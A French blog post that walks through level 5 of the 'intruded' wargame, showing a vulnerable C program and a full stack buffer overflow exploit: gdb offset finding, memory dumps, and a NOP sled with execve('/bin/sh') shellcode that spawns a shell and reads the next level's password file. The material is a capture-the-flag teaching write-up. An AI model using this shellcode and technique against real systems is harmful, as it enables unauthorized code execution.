vendredi 21 octobre 2011

Challenge sur intruded - Level5

Ce niveau ressemble au niveau 3. Voici le code vulnérable:
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
        char buffer[100];
        int i;

        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));

        if(argc>1){
                seteuid(1006);
                strcpy(buffer,argv[1]);
        } 

        return 0;
}

Une différence est présente toutefois. Nous ne pouvons pas utiliser de variable d'environnement pour placer notre shellcode car elles sont toutes écrasées et remplies par des zéros. Néanmoins, il reste une solution que je donne après le saut.



Nous avons une chaîne que l'on maîtrise, argv[1]. Cette chaîne, au delà d'un certain seuil va déborder de son buffer. Dans le level3 nous avons rempli de manière arbitraire la chaîne avec des 'a' (bourrage) pour écraser EIP avec l'adresse de notre variable d'environnement contenant le shellcode.
Comme nous n'avons pas de variables d'environnements, il faut mettre le shellcode ailleurs. Nous avons suffisamment de place dans la chaîne elle-même!
Le paramètre argv[1] va donc contenir un shellcode, des caractères de bourrage, puis une adresse pointant vers le shellcode. Cette adresse va écraser EIP, et le shellcode va donc s'exécuter.
argv[1] vaudra donc: Shellcode+bourrage+adresse.

Très simple à exposer comme idée, un peu plus fin à mettre en oeuvre. Le plus gros problème consiste à trouver l'adresse de ce shellcode.
Nous pouvons plutôt utiliser comme argv[1]: bourrage+shellcode+adresse. Le bourrage étant par nature arbitraire, nous allons employer des \x90. \x90 en assembleur, c'est le NOP, c'est à dire: "ne fait rien et passe à l'instruction suivante". Il y a du mieux puisque l'adresse pourra correspondre à n'importe quelle adresse du bourrage. L'exécution enchaînera les NOP jusqu'à exécuter notre shellcode.

Reste à trouver la taille de NOP(s)+shellcode+adresse afin qu'"adresse" aille remplacer EIP. gdb va nous aider:
level5@narnia:/wargame$ ./level5 `python -c "print 'a'*200"`
Segmentation fault
level5@narnia:/wargame$ ./level5 `python -c "print 'a'*128"`
Segmentation fault
level5@narnia:/wargame$ ./level5 `python -c "print 'a'*100"`
level5@narnia:/wargame$ ./level5 `python -c "print 'a'*120"`
level5@narnia:/wargame$ ./level5 `python -c "print 'a'*124"`
Illegal instruction
level5@narnia:/wargame$
On écrase donc à 124, vérifié par:
level5@narnia:/wargame$ gdb /wargame/level5
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/
lib/tls/i686/cmov/libthread_db.so.1".

(gdb) run `python -c "print 'a'*124+'AAAA'"`
Starting program: /wargame/level5 `python -c "print 'a'*124+'AAAA'"`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg
eax            0x0      0
ecx            0xfffffe07       -505
edx            0xbffffc4a       -1073742774
ebx            0xb7fdfff4       -1208090636
esp            0xbffffa50       0xbffffa50
ebp            0x61616161       0x61616161
esi            0x0      0
edi            0xb8000cc0       -1207956288
eip            0x41414141       0x41414141
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)
On a bien nos 'a' (\x61 dans EBP) et nos 'A' (\x41 dans EIP)
Nous pouvons de plus regarder vers quelle adresse se situe notre argv[1]. C'est une adresse qui ne correspondra pas à l'adresse du programme lancé sans gdb. Pourquoi? Car gdb lui aussi est en mémoire et décale donc l'ensemble vers le bas (la véritable adresse sera donc supérieure en valeur).
Observons donc la RAM pour avoir notre première approximation:
(gdb) x/60x $esp-180
0xbffff99c: 0x0804850f 0xbffff9d0 0xbffffbc9 0x00000021
0xbffff9ac: 0x00003638 0x00000000 0x00000000 0x00000000
0xbffff9bc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9cc: 0x00000011 0x61616161 0x61616161 0x61616161
0xbffff9dc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff9ec: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff9fc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa0c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa1c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa2c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa3c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa4c: 0x41414141 0x00000000 0xbffffac4 0xbffffad0
0xbffffa5c: 0x00000000 0xb7fdfff4 0x00000000 0xb8000cc0
0xbffffa6c: 0xbffffa98 0xbffffa50 0xb7ec7e6d 0x00000000
0xbffffa7c: 0x00000000 0x00000000 0xb7ff6090 0xb7ec7ded
Donc vers 0xbffff9dc: on tape dans argv[1].

Construisons donc notre argv[1]. La taille complète doit faire 128 octets. Le shellcode  de wikipedia fait 45 octets. Ma chaîne d'attaque est construite avec: 79xNOP+Shellcode+adresse(sur 4 octets)=128 octets.

La première adresse que je vais tenter sera 0xbffff9dc, qui ne fonctionnera vraisemblablement pas. (Sauf si gdb a décalé moins de 79 octets). Puis je vais tenter la même adresse plus 79 octets, plus 79 octets une seconde fois etc.. jusqu'à tomber sur mes NOPs. La calculette hexa va m'aider: (4f hexa valent 79)

0xbffff9dc+0x4f=0xBFFFFA2B puis BFFFFA7A puis BFFFFB18 puis etc...
level5@narnia:/wargame$ ./level5 `python -c "print '\x90'*79+'\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff'+'/bin/sh'+'\xdc\xf9\xff\xbf'"`
Segmentation fault
level5@narnia:/wargame$ ./level5 `python -c "print '\x90'*79+'\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff'+'/bin/sh'+'\x2b\xfa\xff\xbf'"`
sh-3.1$ cat /home/level6/.passwd
TT95n7bD
sh-3.1$ exit
level5@narnia:/wargame$ su - level6
Password:
level6@narnia:~$

Le premier SegFault est attendu, ensuite, j'avance de 79 octets et j'arrive quelque part dans mes NOPs, ce qui montre bien l'efficacité de mettre les NOP avant le shellcode. Si le shellcode était en première position, j'aurai du monter les adresses octet par octet pour trouver la bonne adresse.

Cette série de challenge s'arrête ici.. intruded est down et je n'ai pas noté les codes des autres niveaux :-(
De mémoire les autres niveaux sont des format string vulnerability, toujours exposés de façon didactique. Le premier consiste à modifier une variable depuis un printf, les autres à faire exécuter du code toujours via des format string. Merci à intruded, c'est très intéressant!

2 commentaires:

  1. C'est vieux tout ça, mais tu seras peut-être heureux de savoir que les wargame d'intruded.net sont depuis quelques mois sur overthewire.org

    RépondreSupprimer